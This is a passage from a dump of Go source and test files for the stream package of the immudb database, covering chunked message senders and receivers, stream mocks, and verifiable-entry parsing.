chunk\n\t\t\tst.chunk.Metadata = nil\n\t\t}\n\t}\n\n\tif available < len(st.buf) {\n\t\t// send last partially written chunk\n\t\tst.chunk.Content = st.buf[:len(st.buf)-available]\n\n\t\terr := st.stream.Send(st.chunk)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\t// just to avoid keeping a useless reference\n\t\tst.chunk.Metadata = nil\n\t}\n\n\treturn nil\n}\n\n// RecvMsg block until it receives a message from the receiver (here we are on the sender). It's used mainly to retrieve an error message after sending data from a client(SDK) perspective.\nfunc (st *msgSender) RecvMsg(m interface{}) error {\n\treturn st.stream.RecvMsg(m)\n}\n"
  },
  {
    "path": "pkg/stream/sender_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage stream\n\nimport (\n\t\"bytes\"\n\t\"io\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/pkg/stream/streamtest\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestNewMsgSender(t *testing.T) {\n\tsm := streamtest.DefaultImmuServiceSenderStreamMock()\n\ts := NewMsgSender(sm, make([]byte, 4096))\n\trequire.IsType(t, new(msgSender), s)\n}\n\nfunc TestMsgSender_Send(t *testing.T) {\n\tsm := streamtest.DefaultImmuServiceSenderStreamMock()\n\ts := NewMsgSender(sm, make([]byte, 4096))\n\n\tcontent := []byte(`mycontent`)\n\tmessage := bytes.Join([][]byte{streamtest.GetTrailer(len(content)), content}, nil)\n\tb := bytes.NewBuffer(message)\n\terr := s.Send(b, b.Len(), nil)\n\trequire.NoError(t, err)\n}\n\nfunc TestMsgSender_SendPayloadSizeZero(t *testing.T) {\n\tsm := streamtest.DefaultImmuServiceSenderStreamMock()\n\ts := NewMsgSender(sm, make([]byte, 4096))\n\tb := bytes.NewBuffer(nil)\n\terr := s.Send(b, 0, nil)\n\trequire.NoError(t, err)\n}\n\nfunc TestMsgSender_SendErrReader(t *testing.T) {\n\tsm := streamtest.DefaultImmuServiceSenderStreamMock()\n\ts := NewMsgSender(sm, make([]byte, 4096))\n\tr := &streamtest.ErrReader{\n\t\tReadF: func([]byte) (int, error) {\n\t\t\treturn 0, errCustom\n\t\t},\n\t}\n\terr := s.Send(r, 5000, nil)\n\trequire.ErrorIs(t, err, errCustom)\n}\n\nfunc TestMsgSender_SendEmptyReader(t *testing.T) {\n\tsm := streamtest.DefaultImmuServiceSenderStreamMock()\n\ts := NewMsgSender(sm, make([]byte, 4096))\n\tr := &streamtest.ErrReader{\n\t\tReadF: func([]byte) (int, error) {\n\t\t\treturn 0, io.EOF\n\t\t},\n\t}\n\terr := s.Send(r, 5000, nil)\n\trequire.ErrorIs(t, err, io.EOF)\n}\n\nfunc TestMsgSender_SendEErrNotEnoughDataOnStream(t *testing.T) {\n\tsm := streamtest.DefaultImmuServiceSenderStreamMock()\n\ts := NewMsgSender(sm, make([]byte, 4096))\n\n\tcontent := []byte(`mycontent`)\n\tmessage := streamtest.GetTrailer(len(content))\n\tb := bytes.NewBuffer(message)\n\terr := s.Send(b, 5000, nil)\n\trequire.ErrorIs(t, err, io.EOF)\n}\n\nfunc TestMsgSender_SendLastChunk(t *testing.T) {\n\tsm := streamtest.DefaultImmuServiceSenderStreamMock()\n\ts := NewMsgSender(sm, make([]byte, 4096))\n\n\tcontent := []byte(`mycontent`)\n\tb := bytes.NewBuffer(content)\n\terr := s.Send(b, len(content), nil)\n\trequire.NoError(t, err)\n}\n\nfunc TestMsgSender_SendMultipleChunks(t *testing.T) {\n\tsm := streamtest.DefaultImmuServiceSenderStreamMock()\n\ts := NewMsgSender(sm, make([]byte, 8))\n\n\tcontent := []byte(`mycontent`)\n\tb := bytes.NewBuffer(content)\n\terr := s.Send(b, len(content), nil)\n\trequire.NoError(t, err)\n}\n\nfunc TestMsgSender_RecvMsg(t *testing.T) {\n\tsm := streamtest.DefaultImmuServiceSenderStreamMock()\n\ts := NewMsgSender(sm, make([]byte, 4096))\n\terr := s.RecvMsg(nil)\n\trequire.NoError(t, err)\n}\n"
  },
  {
    "path": "pkg/stream/streamer.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage stream\n\nimport (\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n)\n\n// ImmuServiceSender_Stream is used to inject schema.ImmuService_StreamGetServer, schema.ImmuService_StreamZScanServer inside both client and server senders\ntype ImmuServiceSender_Stream interface {\n\tSend(*schema.Chunk) error\n\tRecvMsg(m interface{}) error // used to retrieve server side errors\n}\n\n// ImmuServiceReceiver_Stream is used to inject schema.ImmuService_StreamGetClient, schema.ImmuService_StreamGetClient, schema.ImmuService_StreamHistoryClient and similar inside both client and server receivers\ntype ImmuServiceReceiver_Stream interface {\n\tRecv() (*schema.Chunk, error)\n}\n"
  },
  {
    "path": "pkg/stream/streamtest/err_reader.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage streamtest\n\ntype ErrReader struct {\n\tReadF func([]byte) (int, error)\n}\n\nfunc (r *ErrReader) Read(m []byte) (int, error) {\n\treturn r.ReadF(m)\n}\n"
  },
  {
    "path": "pkg/stream/streamtest/receiver.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage streamtest\n\ntype MsgError struct {\n\tM []byte\n\tE error\n}\n\ntype msgReceiverMock struct {\n\tc     int\n\tme    []*MsgError\n\tReadF func(message []byte) (n int, err error)\n}\n\nfunc DefaultMsgReceiverMock(me []*MsgError) *msgReceiverMock {\n\tr := &msgReceiverMock{me: me}\n\tf := func(message []byte) (n int, err error) {\n\t\tl := copy(message, r.me[r.c].M)\n\t\te := r.me[r.c].E\n\t\tr.c++\n\t\treturn l, e\n\t}\n\tr.ReadF = f\n\treturn r\n}\n\nfunc (st *msgReceiverMock) Read(message []byte) (n int, err error) {\n\treturn st.ReadF(message)\n}\n"
  },
  {
    "path": "pkg/stream/streamtest/sender.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage streamtest\n\nimport (\n\t\"io\"\n)\n\ntype msgSenderMock struct {\n\tSendF    func(reader io.Reader, payloadSize int, metadata map[string][]byte) (err error)\n\tRecvMsgF func(m interface{}) error\n}\n\nfunc DefaultMsgSenderMock(s *ImmuServiceSender_StreamMock, chunkSize int) *msgSenderMock {\n\treturn &msgSenderMock{\n\t\tSendF: func(reader io.Reader, payloadSize int, metadata map[string][]byte) (err error) {\n\t\t\treturn nil\n\t\t},\n\t\tRecvMsgF: func(m interface{}) error {\n\t\t\treturn nil\n\t\t},\n\t}\n}\n\nfunc (st *msgSenderMock) Send(reader io.Reader, payloadSize int, metadata map[string][]byte) (err error) {\n\treturn st.SendF(reader, payloadSize, metadata)\n}\n\nfunc (st *msgSenderMock) RecvMsg(m interface{}) error {\n\treturn st.RecvMsgF(m)\n}\n"
  },
  {
    "path": "pkg/stream/streamtest/stream.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage streamtest\n\nimport (\n\t\"crypto/rand\"\n\t\"crypto/sha256\"\n\t\"encoding/binary\"\n\t\"io\"\n\t\"io/ioutil\"\n\t\"os\"\n\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n)\n\ntype ChunkError struct {\n\tC *schema.Chunk\n\tE error\n}\ntype ImmuServiceReceiver_StreamMock struct {\n\tcc    int\n\tce    []*ChunkError\n\tRecvF func() (*schema.Chunk, error)\n}\n\nfunc (ism *ImmuServiceReceiver_StreamMock) Recv() (*schema.Chunk, error) {\n\treturn ism.RecvF()\n}\n\nfunc DefaultImmuServiceReceiverStreamMock(ce []*ChunkError) *ImmuServiceReceiver_StreamMock {\n\tm := &ImmuServiceReceiver_StreamMock{\n\t\tce: ce,\n\t}\n\tf := func() (*schema.Chunk, error) {\n\t\tif len(m.ce) > 0 {\n\t\t\tc := m.ce[m.cc].C\n\t\t\te := m.ce[m.cc].E\n\t\t\tm.cc++\n\t\t\treturn c, e\n\t\t}\n\t\treturn nil, nil\n\t}\n\tm.RecvF = f\n\treturn m\n}\n\ntype ImmuServiceSender_StreamMock struct {\n\tSendF    func(*schema.Chunk) error\n\tRecvMsgF func(m interface{}) error\n}\n\nfunc DefaultImmuServiceSenderStreamMock() *ImmuServiceSender_StreamMock {\n\treturn &ImmuServiceSender_StreamMock{\n\t\tSendF: func(*schema.Chunk) error {\n\t\t\treturn nil\n\t\t},\n\t\tRecvMsgF: func(m interface{}) error {\n\t\t\treturn nil\n\t\t},\n\t}\n}\n\nfunc (iss *ImmuServiceSender_StreamMock) Send(c *schema.Chunk) error {\n\treturn iss.SendF(c)\n}\n\nfunc (iss *ImmuServiceSender_StreamMock) RecvMsg(m interface{}) error {\n\treturn iss.RecvMsgF(m)\n}\n\nfunc GetTrailer(payloadSize int) []byte {\n\tml := make([]byte, 8)\n\tbinary.BigEndian.PutUint64(ml, uint64(payloadSize))\n\treturn ml\n}\n\nfunc GenerateDummyFile(filename string, size int) (*os.File, error) {\n\ttmpFile, err := ioutil.TempFile(os.TempDir(), \"go-stream-bench-\"+filename)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tb := make([]byte, size)\n\t_, err = rand.Read(b)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t_, err = tmpFile.Write(b)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\ttmpFile.Seek(0, io.SeekStart)\n\n\treturn tmpFile, nil\n}\n\nfunc GetSHA256(r io.Reader) ([]byte, error) {\n\th := sha256.New()\n\t_, err := io.Copy(h, r)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn h.Sum(nil), nil\n\n}\n"
  },
  {
    "path": "pkg/stream/types.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage stream\n\nimport (\n\t\"bytes\"\n\t\"encoding/binary\"\n\t\"io\"\n\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n)\n\nvar ProveSinceTxFakeKey = []byte(\"ProveSinceTx\")\n\ntype KeyValue struct {\n\tKey   *ValueSize\n\tValue *ValueSize\n}\n\ntype ValueSize struct {\n\tContent io.Reader\n\tSize    int\n}\n\ntype VerifiableEntry struct {\n\tEntryWithoutValueProto *ValueSize\n\tVerifiableTxProto      *ValueSize\n\tInclusionProofProto    *ValueSize\n\tValue                  *ValueSize\n}\n\ntype ZEntry struct {\n\tSet   *ValueSize\n\tKey   *ValueSize\n\tScore *ValueSize\n\tAtTx  *ValueSize\n\tValue *ValueSize\n}\n\nconst (\n\tTOp_Kv byte = 1 << iota\n\tTOp_ZAdd\n\tTOp_Ref\n)\n\ntype IsOp_Operation interface {\n\tisOp_Operation()\n}\n\ntype Op struct {\n\tOperation IsOp_Operation\n}\n\ntype Op_ZAdd struct {\n\tZAdd *schema.ZAddRequest\n}\ntype Op_KeyValue struct {\n\tKeyValue *KeyValue\n}\ntype Op_Ref struct{}\n\nfunc (*Op_ZAdd) isOp_Operation()     {}\nfunc (*Op_KeyValue) isOp_Operation() {}\nfunc (*Op_Ref) isOp_Operation()      {}\n\ntype ExecAllRequest struct {\n\tOperations []*Op\n}\n\n// NumberToBytes ...\nfunc NumberToBytes(n interface{}) ([]byte, error) {\n\tvar buf bytes.Buffer\n\terr := binary.Write(&buf, binary.BigEndian, n)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn buf.Bytes(), err\n}\n\n// NumberFromBytes ...\nfunc NumberFromBytes(bs []byte, n interface{}) error {\n\tbuf := bytes.NewReader(bs)\n\treturn binary.Read(buf, binary.BigEndian, n)\n}\n"
  },
  {
    "path": "pkg/stream/types_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage stream\n\nimport \"testing\"\n\nfunc TestIsOps(t *testing.T) {\n\topZAdd := &Op_ZAdd{}\n\topZAdd.isOp_Operation()\n\topRef := &Op_Ref{}\n\topRef.isOp_Operation()\n\topKV := &Op_KeyValue{}\n\topKV.isOp_Operation()\n}\n"
  },
  {
    "path": "pkg/stream/ventryparser.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage stream\n\nimport (\n\t\"io\"\n\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/golang/protobuf/proto\"\n)\n\n// ParseVerifiableEntry ...\nfunc ParseVerifiableEntry(\n\tentryWithoutValueProto []byte,\n\tverifiableTxProto []byte,\n\tinclusionProofProto []byte,\n\tvr io.Reader,\n\tchunkSize int,\n) (*schema.VerifiableEntry, error) {\n\n\tvar entry schema.Entry\n\tif err := proto.Unmarshal(entryWithoutValueProto, &entry); err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar verifiableTx schema.VerifiableTx\n\tif err := proto.Unmarshal(verifiableTxProto, &verifiableTx); err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar inclusionProof schema.InclusionProof\n\tif err := proto.Unmarshal(inclusionProofProto, &inclusionProof); err != nil {\n\t\treturn nil, err\n\t}\n\n\tvalue, err := ReadValue(vr, chunkSize)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\t// set the value on the entry, as it came without it\n\tentry.Value = value\n\n\treturn &schema.VerifiableEntry{\n\t\tEntry:          &entry,\n\t\tVerifiableTx:   &verifiableTx,\n\t\tInclusionProof: &inclusionProof,\n\t}, nil\n}\n"
  },
  {
    "path": "pkg/stream/ventryparser_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage stream\n\nimport (\n\t\"bufio\"\n\t\"bytes\"\n\t\"io\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/golang/protobuf/proto\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestParseVerifiableEntryErrors(t *testing.T) {\n\t_, err := ParseVerifiableEntry([]byte(\"not a proto message\"), nil, nil, nil, 0)\n\trequire.ErrorContains(t, err, \"cannot parse invalid wire-format data\")\n\n\tentryWithoutValueBs, err := proto.Marshal(&schema.Entry{})\n\trequire.NoError(t, err)\n\t_, err = ParseVerifiableEntry(\n\t\tentryWithoutValueBs, []byte(\"not a proto message\"), nil, nil, 0)\n\trequire.ErrorContains(t, err, \"cannot parse invalid wire-format data\")\n\n\tverifiableTxBs, err := proto.Marshal(&schema.VerifiableTx{})\n\trequire.NoError(t, err)\n\t_, err = ParseVerifiableEntry(\n\t\tentryWithoutValueBs, verifiableTxBs, []byte(\"not a proto message\"), nil, 0)\n\trequire.ErrorContains(t, err, \"cannot parse invalid wire-format data\")\n\n\tinclusionProofBs, err := proto.Marshal(&schema.InclusionProof{})\n\trequire.NoError(t, err)\n\tvalueReader := bufio.NewReader(bytes.NewBuffer([]byte{}))\n\t_, err = ParseVerifiableEntry(\n\t\tentryWithoutValueBs, verifiableTxBs, inclusionProofBs, valueReader, 0)\n\trequire.ErrorIs(t, err, io.EOF)\n\n\tvalueReader = bufio.NewReader(bytes.NewBuffer([]byte(\"some value\")))\n\t_, err = ParseVerifiableEntry(\n\t\tentryWithoutValueBs, verifiableTxBs, inclusionProofBs, valueReader, MinChunkSize)\n\trequire.NoError(t, err)\n}\n"
  },
  {
    "path": "pkg/stream/ventryreceiver.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage stream\n\nimport (\n\t\"io\"\n)\n\ntype vEntryStreamReceiver struct {\n\ts          io.Reader\n\tBufferSize int\n}\n\n// NewVEntryStreamReceiver ...\nfunc NewVEntryStreamReceiver(s io.Reader, bs int) VEntryStreamReceiver {\n\treturn &vEntryStreamReceiver{\n\t\ts:          s,\n\t\tBufferSize: bs,\n\t}\n}\n\nfunc (vesr *vEntryStreamReceiver) Next() ([]byte, []byte, []byte, io.Reader, error) {\n\tris := make([][]byte, 3)\n\tfor i := range ris {\n\t\tr, err := ReadValue(vesr.s, vesr.BufferSize)\n\t\tif err != nil {\n\t\t\treturn nil, nil, nil, nil, err\n\t\t}\n\t\tris[i] = r\n\t}\n\t// for the value, (which can be large), return a Reader and let the caller read it\n\treturn ris[0], ris[1], ris[2], vesr.s, nil\n}\n"
  },
  {
    "path": "pkg/stream/ventryreceiver_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage stream\n\nimport (\n\t\"bytes\"\n\t\"io\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/pkg/stream/streamtest\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestNewVEntryStreamReceiver(t *testing.T) {\n\tr := bytes.NewBuffer([]byte{})\n\tvsr := NewVEntryStreamReceiver(r, 4096)\n\trequire.NotNil(t, vsr)\n}\n\nfunc TestVEntryStreamReceiver_Next(t *testing.T) {\n\tme := []*streamtest.MsgError{\n\t\t{M: []byte(`first`), E: io.EOF},\n\t\t{M: []byte(`second`), E: io.EOF},\n\t\t{M: []byte(`third`), E: io.EOF},\n\t\t{M: []byte(`fourth`), E: io.EOF},\n\t}\n\tr := streamtest.DefaultMsgReceiverMock(me)\n\tvsr := NewVEntryStreamReceiver(r, 4096)\n\tentryWithoutValueProto, verifiableTxProto, inclusionProofProto, vr, err := vsr.Next()\n\trequire.NoError(t, err)\n\trequire.Equal(t, []byte(`first`), entryWithoutValueProto)\n\trequire.Equal(t, []byte(`second`), verifiableTxProto)\n\trequire.Equal(t, []byte(`third`), inclusionProofProto)\n\trequire.NotNil(t, vr)\n}\n\nfunc TestVEntryStreamReceiver_NextErr0(t *testing.T) {\n\tme := []*streamtest.MsgError{\n\t\t{M: []byte(`first`), E: errCustom},\n\t}\n\tr := streamtest.DefaultMsgReceiverMock(me)\n\tvsr := NewVEntryStreamReceiver(r, 4096)\n\tentryWithoutValueProto, verifiableTxProto, inclusionProofProto, vr, err := vsr.Next()\n\trequire.ErrorIs(t, err, errCustom)\n\trequire.Nil(t, entryWithoutValueProto)\n\trequire.Nil(t, verifiableTxProto)\n\trequire.Nil(t, inclusionProofProto)\n\trequire.Nil(t, vr)\n}\n\nfunc TestVEntryStreamReceiver_NextErr1(t *testing.T) {\n\tme := []*streamtest.MsgError{\n\t\t{M: []byte(`first`), E: io.EOF},\n\t\t{M: []byte(`second`), E: errCustom},\n\t}\n\tr := streamtest.DefaultMsgReceiverMock(me)\n\tvsr := NewVEntryStreamReceiver(r, 4096)\n\tentryWithoutValueProto, verifiableTxProto, inclusionProofProto, vr, err := vsr.Next()\n\trequire.ErrorIs(t, err, errCustom)\n\trequire.Nil(t, entryWithoutValueProto)\n\trequire.Nil(t, verifiableTxProto)\n\trequire.Nil(t, inclusionProofProto)\n\trequire.Nil(t, vr)\n}\n\nfunc TestVEntryStreamReceiver_NextErr2(t *testing.T) {\n\tme := []*streamtest.MsgError{\n\t\t{M: []byte(`first`), E: io.EOF},\n\t\t{M: []byte(`second`), E: io.EOF},\n\t\t{M: []byte(`third`), E: errCustom},\n\t}\n\tr := streamtest.DefaultMsgReceiverMock(me)\n\tvsr := NewVEntryStreamReceiver(r, 4096)\n\tentryWithoutValueProto, verifiableTxProto, inclusionProofProto, vr, err := vsr.Next()\n\trequire.ErrorIs(t, err, errCustom)\n\trequire.Nil(t, entryWithoutValueProto)\n\trequire.Nil(t, verifiableTxProto)\n\trequire.Nil(t, inclusionProofProto)\n\trequire.Nil(t, vr)\n}\n"
  },
  {
    "path": "pkg/stream/ventrysender.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage stream\n\nimport (\n\t\"errors\"\n\t\"io\"\n)\n\ntype vEntryStreamSender struct {\n\ts MsgSender\n}\n\nfunc NewVEntryStreamSender(s MsgSender) *vEntryStreamSender {\n\treturn &vEntryStreamSender{\n\t\ts: s,\n\t}\n}\n\nfunc (vess *vEntryStreamSender) Send(ve *VerifiableEntry) error {\n\tves := []*ValueSize{ve.EntryWithoutValueProto, ve.VerifiableTxProto, ve.InclusionProofProto, ve.Value}\n\tfor _, vs := range ves {\n\t\terr := vess.s.Send(vs.Content, vs.Size, nil)\n\t\tif errors.Is(err, io.EOF) {\n\t\t\treturn vess.s.RecvMsg(nil)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}\n"
  },
  {
    "path": "pkg/stream/ventrysender_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage stream\n\nimport (\n\t\"io\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/pkg/stream/streamtest\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestNewVEntryStreamSender(t *testing.T) {\n\tsm := streamtest.DefaultImmuServiceSenderStreamMock()\n\ts := streamtest.DefaultMsgSenderMock(sm, 4096)\n\tves := NewVEntryStreamSender(s)\n\trequire.IsType(t, &vEntryStreamSender{}, ves)\n}\n\nfunc TestVEntryStreamSender_Send(t *testing.T) {\n\tsm := streamtest.DefaultImmuServiceSenderStreamMock()\n\ts := streamtest.DefaultMsgSenderMock(sm, 4096)\n\tkvss := NewVEntryStreamSender(s)\n\tkv := &VerifiableEntry{\n\t\tEntryWithoutValueProto: &ValueSize{\n\t\t\tContent: nil,\n\t\t\tSize:    0,\n\t\t},\n\t\tVerifiableTxProto: &ValueSize{\n\t\t\tContent: nil,\n\t\t\tSize:    0,\n\t\t},\n\t\tInclusionProofProto: &ValueSize{\n\t\t\tContent: nil,\n\t\t\tSize:    0,\n\t\t},\n\t\tValue: &ValueSize{\n\t\t\tContent: nil,\n\t\t\tSize:    0,\n\t\t},\n\t}\n\n\terr := kvss.Send(kv)\n\n\trequire.NoError(t, err)\n}\n\nfunc TestVEntryStreamSender_SendErr(t *testing.T) {\n\tsm := streamtest.DefaultImmuServiceSenderStreamMock()\n\ts := streamtest.DefaultMsgSenderMock(sm, 4096)\n\ts.SendF = func(reader io.Reader, payloadSize int, metadata map[string][]byte) (err error) {\n\t\treturn errCustom\n\t}\n\tkvss := NewVEntryStreamSender(s)\n\tkv := &VerifiableEntry{\n\t\tEntryWithoutValueProto: &ValueSize{\n\t\t\tContent: nil,\n\t\t\tSize:    0,\n\t\t},\n\t\tVerifiableTxProto: &ValueSize{\n\t\t\tContent: nil,\n\t\t\tSize:    0,\n\t\t},\n\t\tInclusionProofProto: &ValueSize{\n\t\t\tContent: nil,\n\t\t\tSize:    0,\n\t\t},\n\t\tValue: &ValueSize{\n\t\t\tContent: nil,\n\t\t\tSize:    0,\n\t\t},\n\t}\n\n\terr := kvss.Send(kv)\n\n\trequire.ErrorIs(t, err, errCustom)\n}\n"
  },
  {
    "path": "pkg/stream/ventrystreamer.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage stream\n\nimport (\n\t\"io\"\n)\n\n// VEntryStreamSender ...\ntype VEntryStreamSender interface {\n\tSend(ve *VerifiableEntry) error\n}\n\n// VEntryStreamReceiver ...\ntype VEntryStreamReceiver interface {\n\tNext() ([]byte, []byte, []byte, io.Reader, error)\n}\n"
  },
  {
    "path": "pkg/stream/zStreamer.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage stream\n\nimport \"io\"\n\n// ZStreamSender ...\ntype ZStreamSender interface {\n\tSend(ze *ZEntry) error\n}\n\n// ZStreamReceiver ...\ntype ZStreamReceiver interface {\n\tNext() ([]byte, []byte, float64, uint64, io.Reader, error)\n}\n"
  },
  {
    "path": "pkg/stream/zparser.go",
